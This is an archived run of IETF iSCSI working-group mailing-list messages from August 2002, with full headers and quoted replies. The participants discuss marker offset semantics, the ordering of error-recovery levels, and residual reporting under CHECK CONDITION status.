ips-outgoing; Wed, 7 Aug 2002 10:04:14 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from mta5.snfc21.pbi.net (mta5.snfc21.pbi.net [206.13.28.241]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id g772qio14455 for ; Tue, 6 Aug 2002 22:52:44 -0400 (EDT) Received: from MikesDellLatitude ([64.161.27.146]) by mta5.snfc21.pbi.net (iPlanet Messaging Server 5.1 (built May 7 2001)) with SMTP id <0H0G0088PDBTZT@mta5.snfc21.pbi.net> for ips@ece.cmu.edu; Tue, 06 Aug 2002 19:52:43 -0700 (PDT) Date: Tue, 06 Aug 2002 19:16:42 -0700 From: "Michael J. S. Smith (PacBell)" Subject: Re: Markers To: pat_thaler@agilent.com, ips@ece.cmu.edu Cc: "Michael J. S. Smith (iReady)" Reply-to: "Michael J. S. Smith (PacBell)" Message-id: <007001c23db8$78dcac80$6501a8c0@iready.com> MIME-version: 1.0 X-MIMEOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 X-Mailer: Microsoft Outlook Express 5.50.4522.1200 Content-type: multipart/alternative; boundary="Boundary_(ID_O6SC8V6xR3faY8Eqr1WXxQ)" X-Priority: 3 X-MSMail-priority: Normal References: <1BEBA5E8600DD4119A50009027AF54A00D642F52@axcs04.cos.agilent.com> Sender: owner-ips@ece.cmu.edu Precedence: bulk This is a multi-part message in MIME format. --Boundary_(ID_O6SC8V6xR3faY8Eqr1WXxQ) Content-type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 7BIT MarkersI helped write our hardware specification on this issue and going over the specification again just now, I realized that I referenced the Internet draft for the definitive description of marker insertion. So, I certainly have an interest in getting this right. >> From this text, it is not clear whether the two "copies" of the marker are identical copies Pat, you are right, you need to look beyond the text that you quoted to get clarity. Some ambiguity is resolved when you realize that markers "don't count". [quote] The Marker scheme uses payload byte stream counting that includes every byte placed by iSCSI in the TCP stream except for the markers themselves. It also excludes any bytes that TCP counts but are not originated by iSCSI. [end quote] Thus, 1. Since "counting ... includes every byte ... except for the markers themselves," I believe the markers are both identical (in particular, the count in the two markers is the same, since we don't count the marker bytes). [quote] Marker is eight bytes in length and contains two 32-bit offset fields that indicate how many bytes to skip in the TCP stream in order to find the next iSCSI PDU header. [end quote] [quote] The marker interval and the initial marker-less interval are counted in terms of the bytes placed in the TCP stream data by iSCSI. [end quote] >> From this text, it is not clear ... whether each marker specifies how many bytes to skip from its position in the stream. It also isn't entirely clear where the count of bytes to skip starts (which is related to the first). Again the two markers don't matter. Thus, 2. The count is how many TCP stream bytes to skip, forget about the markers. The definition of "TCP Stream" needs a stretch, but between the first and third sections quoted above, I think it is "TCP Stream := every byte placed by iSCSI in the TCP stream except for the markers themselves and any bytes that TCP counts but are not originated by iSCSI". I had to think a few times about "bytes that TCP counts but are not originated by iSCSI", and I can't think of any strange cases that leave ambiguity in this definition, but can anyone else? On the other hand if we were to add ""The count of bytes begins with the first byte after the Marker", I think there is a possibility for confusion unless you again declare "count of bytes" means TCP Stream (as defined). I'm probably too close to this now to render an objective opinion on whether ambiguity exists, but I think an example will help, and Pat's is as good as any to resolve this particular (possible) ambiguity (in her example, I believe both marker copies contain zero). Onto a very related issue: Our technical team just got back from the UNH plugfest and were unable to perform more testing on our marker implementation because nobody else at UNH had implemented markers yet. We would be very interested in hearing from anyone who would like to test against us. Please contact me as a starting point. Thanks! Aloha Mike Smith CTO, iReady msmith@iready.com ----- Original Message ----- From: pat_thaler@agilent.com To: ips@ece.cmu.edu Sent: Tuesday, August 06, 2002 4:57 PM Subject: Markers I was reading the text of Appendix A and noticed an ambiguity. The text says: The Marker indicates the offset to the next iSCSI PDU header. The Marker is eight bytes in length and contains two 32-bit offset fields that indicate how many bytes to skip in the TCP stream in order to find the next iSCSI PDU header. The marker uses two copies of the pointer so that a marker that spans a TCP packet boundary should leave at least one valid copy in one of the packets. >From this text, it is not clear whether the two "copies" of the marker are identical copies or whether each marker specifies how many bytes to skip from its position in the stream. It also isn't entirely clear where the count of bytes to skip starts (which is related to the first). For example, if a PDU starts right after a marker: Next-iSCSI-PDU-start pointer - copy #1 Next-iSCSI-PDU-start pointer - copy #2 PDU header start Do Copy #1 and Copy #2 both contain 0x00000000, or does copy #1 contain 0x00000004 because the packet starts 4 bytes after copy 1 while copy #2 contains 0x00000000 because the packet starts 0 bytes after copy 2? Since "copy" implies they are the same, I think they should both contain 0x00000000. This could be clarified by adding, "The count of bytes begins with the first byte after the Marker." One could also include the example above. Regards, Pat --Boundary_(ID_O6SC8V6xR3faY8Eqr1WXxQ) Content-type: text/html; charset=iso-8859-1 Content-Transfer-Encoding: 7BIT Markers
I helped write our hardware specification on this issue and going over the specification again just now, I realized that I referenced the Internet draft for the definitive description of marker insertion. So, I certainly have an interest in getting this right.
 
>> From this text, it is not clear whether the two "copies" of the marker are identical copies
 
Pat, you are right, you need to look beyond the text that you quoted to get clarity. Some ambiguity is resolved when you realize that markers "don't count".
 
 [quote]

   The Marker scheme uses payload byte stream counting that includes
   every byte placed by iSCSI in the TCP stream except for the markers
   themselves. It also excludes any bytes that TCP counts but are not
   originated by iSCSI.
   
[end quote]
 
Thus,
 
1. Since "counting ... includes every byte ... except for the markers themselves," I believe the markers are both identical (in particular, the count in the two markers is the same, since we don't count the marker bytes).
 
[quote]
   Marker is eight bytes in length and contains two 32-bit offset fields
   that indicate how many bytes to skip in the TCP stream in order to
   find the next iSCSI PDU header.
[end quote]
 
[quote]

   The marker interval and the initial marker-less interval are counted
   in terms of the bytes placed in the TCP stream data by iSCSI.
[end quote]
 
>> From this text, it is not clear ... whether each marker specifies how many bytes to skip from its position in the stream. It also isn't entirely clear where the count of bytes to skip starts (which is related to the first).
 
Again the two markers don't matter. Thus,
 
2. The count is how many TCP stream bytes to skip, forget about the markers. The definition of "TCP Stream" needs a stretch, but between the first and third sections quoted above, I think it is "TCP Stream := every byte placed by iSCSI in the TCP stream except for the markers themselves and any bytes that TCP counts but are not originated by iSCSI".
 
I had to think a few times about "bytes that TCP counts but are not originated by iSCSI", and I can't think of any strange cases that leave ambiguity in this definition, but can anyone else?
 
On the other hand if we were to add ""The count of bytes begins with the first byte after the Marker", I think there is a possibility for confusion unless you again declare "count of bytes" means TCP Stream (as defined).
 
I'm probably too close to this now to render an objective opinion on whether ambiguity exists, but I think an example will help, and Pat's is as good as any to resolve this particular (possible) ambiguity (in her example, I believe both marker copies contain zero).
 
Onto a very related issue: Our technical team just got back from the UNH plugfest and were unable to perform more testing on our marker implementation because nobody else at UNH had implemented markers yet. We would be very interested in hearing from anyone who would like to test against us. Please contact me as a starting point. Thanks!
 
Aloha
 
Mike Smith
CTO, iReady
 
 
----- Original Message -----
Sent: Tuesday, August 06, 2002 4:57 PM
Subject: Markers

I was reading the text of Appendix A and noticed an ambiguity.

The text says:
The Marker indicates the offset to the next iSCSI PDU header. The
   Marker is eight bytes in length and contains two 32-bit offset fields
   that indicate how many bytes to skip in the TCP stream in order to
   find the next iSCSI PDU header. The marker uses two copies of the
   pointer so that a marker that spans a TCP packet boundary should
   leave at least one valid copy in one of the packets.

From this text, it is not clear whether the two "copies" of the marker are identical copies or whether each marker specifies how many bytes to skip from its position in the stream. It also isn't entirely clear where the count of bytes to skip starts (which is related to the first).

For example, if a PDU starts right after a marker:

      Next-iSCSI-PDU-start pointer - copy #1
      Next-iSCSI-PDU-start pointer - copy #2
      PDU header start

Do Copy #1 and Copy #2 both contain 0x00000000, or does copy #1 contain 0x00000004 because the packet starts 4 bytes after copy 1 while copy #2 contains 0x00000000

because the packet starts 0 bytes after copy 2?

Since "copy" implies they are the same, I think they should both contain 0x00000000.

This could be clarified by adding, "The count of bytes begins with the first byte after the Marker." One could also include the example above.

Regards,
Pat

--Boundary_(ID_O6SC8V6xR3faY8Eqr1WXxQ)-- From owner-ips@ece.cmu.edu Wed Aug 7 11:50:34 2002 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA24742 for ; Wed, 7 Aug 2002 11:50:34 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id g77F9i207358 for ips-outgoing; Wed, 7 Aug 2002 11:09:44 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from mother.pmc-sierra.bc.ca (mother.pmc-sierra.bc.ca [216.241.224.12]) by ece.cmu.edu (8.11.0/8.10.2) with SMTP id g77F9do07343 for ; Wed, 7 Aug 2002 11:09:40 -0400 (EDT) Received: (qmail 2869 invoked by uid 104); 7 Aug 2002 15:09:34 -0000 Received: from Shahram_Davari@pmc-sierra.com by mother with qmail-scanner-1.00 (uvscan: v4.1.40/v4216. . Clean. Processed in 0.829782 secs); 07 Aug 2002 15:09:34 -0000 Received: from unknown (HELO hymir.pmc-sierra.bc.ca) (134.87.114.120) by mother.pmc-sierra.bc.ca with SMTP; 7 Aug 2002 15:09:32 -0000 Received: from bby1exi01.pmc-sierra.bc.ca (bby1exi01.pmc-sierra.bc.ca [216.241.231.251]) by hymir.pmc-sierra.bc.ca (jason/8.11.6) with ESMTP id g77F9Ww02155; Wed, 7 Aug 2002 08:09:32 -0700 (PDT) Received: by bby1exi01 with Internet Mail Service (5.5.2653.19) id ; Wed, 7 Aug 2002 08:09:34 -0700 Message-ID: <4B6D09F3B826D411A67300D0B706EFDEB037C7@nt-exch-yow.pmc-sierra.bc.ca> From: Shahram Davari To: "'Julian Satran'" Cc: ips@ece.cmu.edu, owner-ips@ece.cmu.edu Subject: RE: iSCSI question Date: Wed, 7 Aug 2002 08:09:31 -0700 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01C23E24.6E7CC290" Sender: owner-ips@ece.cmu.edu Precedence: bulk This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_001_01C23E24.6E7CC290 Content-Type: text/plain Julian, Thanks. I have read that section but it is not very clear. I also agree that Connection recovery requires everything in command recovery. But what about session recovery? isn't it a superset of both connection and command recovery? Yours, -Shahram -----Original Message----- From: Julian Satran [mailto:Julian_Satran@il.ibm.com] Sent: Wednesday, August 07, 2002 11:03 AM To: Shahram Davari Cc: ips@ece.cmu.edu; owner-ips@ece.cmu.edu Subject: Re: iSCSI question Sharam, You may want to go over the recovery chapter. It has detailed answers to all your questions. The superset/subset is based on functions you need for the next level. Session recovery drops real recovery to SCSI. Command recovery recovers from individual command errors without changing connection and the highest enable you to switch to a new connection and continue commands there. 2 requires everything in 1. Julo Shahram Davari Sent by: owner-ips@ece.cmu.edu 08/07/2002 05:17 PM To: ips@ece.cmu.edu cc: Subject: iSCSI question Hi, I have a question regarding the hierarchy of error recovery. Section 6.13 mentions the hierarchy as: 2: Connection recovery 1: Digest failure recovery 0: Session recovery And it states that the higher levels are a superset of the lower levels and that the level of complexity increases from 0->1->2. Couple of questions: 1) How is digest failure recovery done? by retransmission of PDUs? 2) Why is the connection recovery a superset of session recovery and more complex? 3) It seems to me the order should be: 2: Session recovery 1: Connection recovery 0: Digest failure recovery I appreciate any insight. Thanks, -Shahram ------_=_NextPart_001_01C23E24.6E7CC290 Content-Type: text/html
Julian,
 
Thanks. I have read that section but it is not very clear.
 
I also agree that Connection recovery requires everything in command recovery.
But what about session recovery? isn't it a superset of both connection and command recovery?
 
Yours,
-Shahram
-----Original Message-----
From: Julian Satran [mailto:Julian_Satran@il.ibm.com]
Sent: Wednesday, August 07, 2002 11:03 AM
To: Shahram Davari
Cc: ips@ece.cmu.edu; owner-ips@ece.cmu.edu
Subject: Re: iSCSI question


Sharam,

You may want to go over the recovery chapter.
It has detailed answers to all your questions.
The superset/subset is based on functions you need for the next level.

Session recovery drops real recovery to SCSI.
Command recovery recovers from individual command errors without
changing connection and the highest enable you to switch to a new connection and
continue commands there.

2 requires everything in 1.

Julo


Shahram Davari <Shahram_Davari@pmc-sierra.com>
Sent by: owner-ips@ece.cmu.edu

08/07/2002 05:17 PM

       
        To:        ips@ece.cmu.edu
        cc:        
        Subject:        iSCSI question

       


Hi,

I have a question regarding the hierarchy of error recovery.
Section 6.13 mentions the hierarchy as:

2: Connection recovery
1: Digest failure recovery
0: Session recovery

And it states that the higher levels are a superset of the
lower levels and that the level of complexity increases from 0->1->2.

Couple of questions:

1) How is digest failure recovery done? by retransmission of PDUs?
2) Why is the connection recovery a superset of session recovery
and more complex?
3) It seems to me the order should be:

2: Session recovery
1: Connection recovery
0: Digest failure recovery


I appreciate any insight.

Thanks,
-Shahram


------_=_NextPart_001_01C23E24.6E7CC290-- From owner-ips@ece.cmu.edu Wed Aug 7 11:51:22 2002 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA24814 for ; Wed, 7 Aug 2002 11:51:22 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id g77FYFu09287 for ips-outgoing; Wed, 7 Aug 2002 11:34:15 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from d12lmsgate-3.de.ibm.com (d12lmsgate-3.de.ibm.com [195.212.91.201]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id g77FY9o09275; Wed, 7 Aug 2002 11:34:09 -0400 (EDT) Received: from d12relay02.de.ibm.com (d12relay02.de.ibm.com [9.165.215.23]) by d12lmsgate-3.de.ibm.com (8.12.3/8.12.3) with ESMTP id g77FY2Jv018896; Wed, 7 Aug 2002 17:34:02 +0200 Received: from d10hubm1.telaviv.ibm.com (d10ml001.telaviv.ibm.com [9.148.216.55]) by d12relay02.de.ibm.com (8.12.3/NCO/VER6.3) with ESMTP id g77FXxr2115192; Wed, 7 Aug 2002 17:34:00 +0200 To: Shahram Davari Cc: ips@ece.cmu.edu, owner-ips@ece.cmu.edu MIME-Version: 1.0 Subject: RE: iSCSI question X-Mailer: Lotus Notes Release 5.0.9 November 16, 2001 From: "Julian Satran" Message-ID: Date: Wed, 7 Aug 2002 18:33:58 +0300 X-MIMETrack: Serialize by Router on D10ML001/10/M/IBM(Release 5.0.9a |January 7, 2002) at 07/08/2002 18:33:59, Serialize complete at 07/08/2002 18:33:59 Content-Type: multipart/alternative; boundary="=_alternative 0054AF44C2256C0E_=" Sender: owner-ips@ece.cmu.edu Precedence: bulk This is a multipart message in MIME format. --=_alternative 0054AF44C2256C0E_= Content-Type: text/plain; charset="us-ascii" Session recovery is in fact leaving all recovery to SCSI - it drops everything and creates a new session. As for you comment on the clarity of chapter 5 at this stage it makes sense to be either specific or keep this type of comment out of this context. Julo Shahram Davari 08/07/2002 06:09 PM To: Julian Satran/Haifa/IBM@IBMIL cc: ips@ece.cmu.edu, owner-ips@ece.cmu.edu Subject: RE: iSCSI question Julian, Thanks. I have read that section but it is not very clear. I also agree that Connection recovery requires everything in command recovery. But what about session recovery? isn't it a superset of both connection and command recovery? Yours, -Shahram -----Original Message----- From: Julian Satran [mailto:Julian_Satran@il.ibm.com] Sent: Wednesday, August 07, 2002 11:03 AM To: Shahram Davari Cc: ips@ece.cmu.edu; owner-ips@ece.cmu.edu Subject: Re: iSCSI question Sharam, You may want to go over the recovery chapter. It has detailed answers to all your questions. The superset/subset is based on functions you need for the next level. Session recovery drops real recovery to SCSI. Command recovery recovers from individual command errors without changing connection and the highest enable you to switch to a new connection and continue commands there. 2 requires everything in 1. Julo Shahram Davari Sent by: owner-ips@ece.cmu.edu 08/07/2002 05:17 PM To: ips@ece.cmu.edu cc: Subject: iSCSI question Hi, I have a question regarding the hierarchy of error recovery. Section 6.13 mentions the hierarchy as: 2: Connection recovery 1: Digest failure recovery 0: Session recovery And it states that the higher levels are a superset of the lower levels and that the level of complexity increases from 0->1->2. Couple of questions: 1) How is digest failure recovery done? by retransmission of PDUs? 2) Why is the connection recovery a superset of session recovery and more complex? 3) It seems to me the order should be: 2: Session recovery 1: Connection recovery 0: Digest failure recovery I appreciate any insight. Thanks, -Shahram --=_alternative 0054AF44C2256C0E_= Content-Type: text/html; charset="us-ascii"
Session recovery is in fact leaving all recovery to SCSI - it drops everything and creates a new session.
As for you comment on the clarity of chapter 5 at this stage it makes sense to be either specific
or keep this type of comment out of this context.

Julo


Shahram Davari <Shahram_Davari@pmc-sierra.com>

08/07/2002 06:09 PM

       
        To:        Julian Satran/Haifa/IBM@IBMIL
        cc:        ips@ece.cmu.edu, owner-ips@ece.cmu.edu
        Subject:        RE: iSCSI question

       


Julian,
 
Thanks. I have read that section but it is not very clear.
 
I also agree that Connection recovery requires everything in command recovery.
But what about session recovery? isn't it a superset of both connection and command recovery?
 
Yours,
-Shahram
-----Original Message-----
From: Julian Satran [mailto:Julian_Satran@il.ibm.com]
Sent: Wednesday, August 07, 2002 11:03 AM
To: Shahram Davari
Cc: ips@ece.cmu.edu; owner-ips@ece.cmu.edu
Subject: Re: iSCSI question

Sharam,

You may want to go over the recovery chapter.
It has detailed answers to all your questions.
The superset/subset is based on functions you need for the next level.

Session recovery drops real recovery to SCSI.
Command recovery recovers from individual command errors without
changing connection and the highest enable you to switch to a new connection and
continue commands there.

2 requires everything in 1.

Julo

Shahram Davari <Shahram_Davari@pmc-sierra.com>
Sent by: owner-ips@ece.cmu.edu

08/07/2002 05:17 PM

       
       To:        ips@ece.cmu.edu
       cc:        
       Subject:        iSCSI question

     



Hi,

I have a question regarding the hierarchy of error recovery.
Section 6.13 mentions the hierarchy as:

2: Connection recovery
1: Digest failure recovery
0: Session recovery

And it states that the higher levels are a superset of the
lower levels and that the level of complexity increases from 0->1->2.

Couple of questions:

1) How is digest failure recovery done? by retransmission of PDUs?
2) Why is the connection recovery a superset of session recovery
and more complex?
3) It seems to me the order should be:

2: Session recovery
1: Connection recovery
0: Digest failure recovery


I appreciate any insight.

Thanks,
-Shahram

--=_alternative 0054AF44C2256C0E_=-- From owner-ips@ece.cmu.edu Wed Aug 7 11:51:23 2002 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA24827 for ; Wed, 7 Aug 2002 11:51:23 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id g77F3KI06859 for ips-outgoing; Wed, 7 Aug 2002 11:03:20 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from d12lmsgate-3.de.ibm.com (d12lmsgate-3.de.ibm.com [195.212.91.201]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id g77F3Ho06854; Wed, 7 Aug 2002 11:03:17 -0400 (EDT) Received: from d12relay01.de.ibm.com (d12relay01.de.ibm.com [9.165.215.22]) by d12lmsgate-3.de.ibm.com (8.12.3/8.12.3) with ESMTP id g77F3AJv005542; Wed, 7 Aug 2002 17:03:10 +0200 Received: from d10hubm1.telaviv.ibm.com (d10ml001.telaviv.ibm.com [9.148.216.55]) by d12relay01.de.ibm.com (8.12.3/NCO/VER6.3) with ESMTP id g77F3AVw069236; Wed, 7 Aug 2002 17:03:10 +0200 To: Shahram Davari Cc: ips@ece.cmu.edu, owner-ips@ece.cmu.edu MIME-Version: 1.0 Subject: Re: iSCSI question X-Mailer: Lotus Notes Release 5.0.9 November 16, 2001 From: "Julian Satran" Message-ID: Date: Wed, 7 Aug 2002 18:03:08 +0300 X-MIMETrack: Serialize by Router on D10ML001/10/M/IBM(Release 5.0.9a |January 7, 2002) at 07/08/2002 18:03:10, Serialize complete at 07/08/2002 18:03:10 Content-Type: multipart/alternative; boundary="=_alternative 0052483BC2256C0E_=" Sender: owner-ips@ece.cmu.edu Precedence: bulk This is a multipart message in MIME format. --=_alternative 0052483BC2256C0E_= Content-Type: text/plain; charset="us-ascii" Sharam, You may want to go over the recovery chapter. It has detailed answers to all your questions. The superset/subset is based on functions you need for the next level. Session recovery drops real recovery to SCSI. Command recovery recovers from individual command errors without changing connection and the highest enable you to switch to a new connection and continue commands there. 2 requires everything in 1. Julo Shahram Davari Sent by: owner-ips@ece.cmu.edu 08/07/2002 05:17 PM To: ips@ece.cmu.edu cc: Subject: iSCSI question Hi, I have a question regarding the hierarchy of error recovery. Section 6.13 mentions the hierarchy as: 2: Connection recovery 1: Digest failure recovery 0: Session recovery And it states that the higher levels are a superset of the lower levels and that the level of complexity increases from 0->1->2. Couple of questions: 1) How is digest failure recovery done? by retransmission of PDUs? 2) Why is the connection recovery a superset of session recovery and more complex? 3) It seems to me the order should be: 2: Session recovery 1: Connection recovery 0: Digest failure recovery I appreciate any insight. Thanks, -Shahram --=_alternative 0052483BC2256C0E_= Content-Type: text/html; charset="us-ascii"
Sharam,

You may want to go over the recovery chapter.
It has detailed answers to all your questions.
The superset/subset is based on functions you need for the next level.

Session recovery drops real recovery to SCSI.
Command recovery recovers from individual command errors without
changing connection and the highest enable you to switch to a new connection and
continue commands there.

2 requires everything in 1.

Julo


Shahram Davari <Shahram_Davari@pmc-sierra.com>
Sent by: owner-ips@ece.cmu.edu

08/07/2002 05:17 PM

       
        To:        ips@ece.cmu.edu
        cc:        
        Subject:        iSCSI question

       


Hi,

I have a question regarding the hierarchy of error recovery.
Section 6.13 mentions the hierarchy as:

2: Connection recovery
1: Digest failure recovery
0: Session recovery

And it states that the higher levels are a superset of the
lower levels and that the level of complexity increases from 0->1->2.

Couple of questions:

1) How is digest failure recovery done? by retransmission of PDUs?
2) Why is the connection recovery a superset of session recovery
and more complex?
3) It seems to me the order should be:

2: Session recovery
1: Connection recovery
0: Digest failure recovery


I appreciate any insight.

Thanks,
-Shahram

--=_alternative 0052483BC2256C0E_=-- From owner-ips@ece.cmu.edu Wed Aug 7 12:28:10 2002 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA26902 for ; Wed, 7 Aug 2002 12:28:09 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id g77G63L11822 for ips-outgoing; Wed, 7 Aug 2002 12:06:03 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from pepsi.splentec.com (ns.splentec.com [209.47.35.194]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id g77G60o11813 for ; Wed, 7 Aug 2002 12:06:01 -0400 (EDT) Received: from splentec.com (canoe.splentec.com [209.47.35.250]) by pepsi.splentec.com (8.11.6/8.11.0) with ESMTP id g77G5ms07266; Wed, 7 Aug 2002 12:05:48 -0400 Message-ID: <3D51455D.2EFA1CB1@splentec.com> Date: Wed, 07 Aug 2002 12:05:49 -0400 From: Luben Tuikov Organization: Splentec Ltd. X-Mailer: Mozilla 4.79 [en] (X11; U; Linux 2.4.19-rc3 i686) X-Accept-Language: en MIME-Version: 1.0 To: Julian Satran CC: ips@ece.cmu.edu Subject: Re: iSCSI: plugfest4 issues References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit Julian Satran wrote: > > Luben, > > You are in SCSI territory not iSCSI. This type of demands are for T10 (and I think you are wrong > even there). What exactly do you mean? Do you mind pointing it out? -- Luben From owner-ips@ece.cmu.edu Wed Aug 7 12:30:01 2002 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA26987 for ; Wed, 7 Aug 2002 12:30:01 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id g77GJOF12908 for ips-outgoing; Wed, 7 Aug 2002 12:19:24 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from pepsi.splentec.com (ns.splentec.com [209.47.35.194]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id g77GJLo12902 for ; Wed, 7 Aug 2002 12:19:21 -0400 (EDT) Received: from splentec.com (canoe.splentec.com [209.47.35.250]) by pepsi.splentec.com (8.11.6/8.11.0) with ESMTP id g77GJ8s07340; Wed, 7 Aug 2002 12:19:08 -0400 Message-ID: <3D51487E.9F7DEFDB@splentec.com> Date: Wed, 07 Aug 2002 12:19:10 -0400 From: Luben Tuikov Organization: Splentec Ltd. X-Mailer: Mozilla 4.79 [en] (X11; U; Linux 2.4.19-rc3 i686) X-Accept-Language: en MIME-Version: 1.0 To: Julian Satran , roweber@acm.org, ips@ece.cmu.edu Subject: Re: iSCSI: plugfest4 issues References: <3D507B97.99D4FC25@splentec.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit Let's disect: I wrote: > > > I'd only note that when status is CHECK CONDITION > (respoinse = CCT), then residuals SHOULD NOT be set. > I.e. the target SHOULD NOT look inside the sense data > and retrieve them (EXTENDED COPY exception). > This is the responsibility of the ULP at the initiator. The only problem I see here is that one may wrongly interpret target/initiator. I meant iSCSI target, iSCSI initiator, i.e. the transport shouldn't peek inside the sense data and mess with SCSI. It SHOULD act as a transport only. > As to the future, I cannot imagine a CHECK CONDITION > status and residuals reported by any other means > than the already established (inside the sense data). > So this condition is as strong as MUST, but should > be left as SHOULD NOT, and probably not mentioned at > all, as is the current matter. Well, since reporting residuals with CHECK CONDITION is already established as the residual being reported IN the body of the sense data, I cannot imagine that in the future when status is CHECK CONDITION then the residuals will be anywhere else BUT in the sense data. > Also, a transport (iSCSI) shouldn't be influenced by > another transport (FCP), but only by the unifying layer, > i.e. SAM-3. Well? -- Luben From owner-ips@ece.cmu.edu Wed Aug 7 12:31:57 2002 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA27075 for ; Wed, 7 Aug 2002 12:31:57 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id g77Fi9E10087 for ips-outgoing; Wed, 7 Aug 2002 11:44:09 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from father.pmc-sierra.bc.ca (father.pmc-sierra.bc.ca [216.241.224.13]) by ece.cmu.edu (8.11.0/8.10.2) with SMTP id g77Fi5o10076 for ; Wed, 7 Aug 2002 11:44:05 -0400 (EDT) Received: (qmail 13196 invoked by uid 104); 7 Aug 2002 15:43:58 -0000 Received: from Shahram_Davari@pmc-sierra.com by father with qmail-scanner-1.00 (uvscan: v4.1.40/v4216. . Clean. Processed in 0.700621 secs); 07 Aug 2002 15:43:58 -0000 Received: from unknown (HELO hymir.pmc-sierra.bc.ca) (134.87.114.120) by father.pmc-sierra.bc.ca with SMTP; 7 Aug 2002 15:43:57 -0000 Received: from bby1exi01.pmc-sierra.bc.ca (bby1exi01.pmc-sierra.bc.ca [216.241.231.251]) by hymir.pmc-sierra.bc.ca (jason/8.11.6) with ESMTP id g77Fhvw22485; Wed, 7 Aug 2002 08:43:57 -0700 (PDT) Received: by bby1exi01 with Internet Mail Service (5.5.2653.19) id ; Wed, 7 Aug 2002 08:43:59 -0700 Message-ID: <4B6D09F3B826D411A67300D0B706EFDEB037C8@nt-exch-yow.pmc-sierra.bc.ca> From: Shahram Davari To: "'Julian Satran'" Cc: ips@ece.cmu.edu, owner-ips@ece.cmu.edu Subject: RE: iSCSI question Date: Wed, 7 Aug 2002 08:43:55 -0700 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01C23E29.3CCD3D60" Sender: owner-ips@ece.cmu.edu Precedence: bulk This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_001_01C23E29.3CCD3D60 Content-Type: text/plain Julian, To start a new session you need to start new connections and you need to support the PDU recovery. So how is that a subset of PDU and connection recovery? -Shahram (I will explain the detailed clarity issues in another email) -----Original Message----- From: Julian Satran [mailto:Julian_Satran@il.ibm.com] Sent: Wednesday, August 07, 2002 11:34 AM To: Shahram Davari Cc: ips@ece.cmu.edu; owner-ips@ece.cmu.edu Subject: RE: iSCSI question Session recovery is in fact leaving all recovery to SCSI - it drops everything and creates a new session. As for you comment on the clarity of chapter 5 at this stage it makes sense to be either specific or keep this type of comment out of this context. Julo Shahram Davari 08/07/2002 06:09 PM To: Julian Satran/Haifa/IBM@IBMIL cc: ips@ece.cmu.edu, owner-ips@ece.cmu.edu Subject: RE: iSCSI question Julian, Thanks. I have read that section but it is not very clear. I also agree that Connection recovery requires everything in command recovery. But what about session recovery? isn't it a superset of both connection and command recovery? Yours, -Shahram -----Original Message----- From: Julian Satran [mailto:Julian_Satran@il.ibm.com] Sent: Wednesday, August 07, 2002 11:03 AM To: Shahram Davari Cc: ips@ece.cmu.edu; owner-ips@ece.cmu.edu Subject: Re: iSCSI question Sharam, You may want to go over the recovery chapter. It has detailed answers to all your questions. The superset/subset is based on functions you need for the next level. Session recovery drops real recovery to SCSI. Command recovery recovers from individual command errors without changing connection and the highest enable you to switch to a new connection and continue commands there. 2 requires everything in 1. Julo Shahram Davari Sent by: owner-ips@ece.cmu.edu 08/07/2002 05:17 PM To: ips@ece.cmu.edu cc: Subject: iSCSI question Hi, I have a question regarding the hierarchy of error recovery. Section 6.13 mentions the hierarchy as: 2: Connection recovery 1: Digest failure recovery 0: Session recovery And it states that the higher levels are a superset of the lower levels and that the level of complexity increases from 0->1->2. Couple of questions: 1) How is digest failure recovery done? by retransmission of PDUs? 2) Why is the 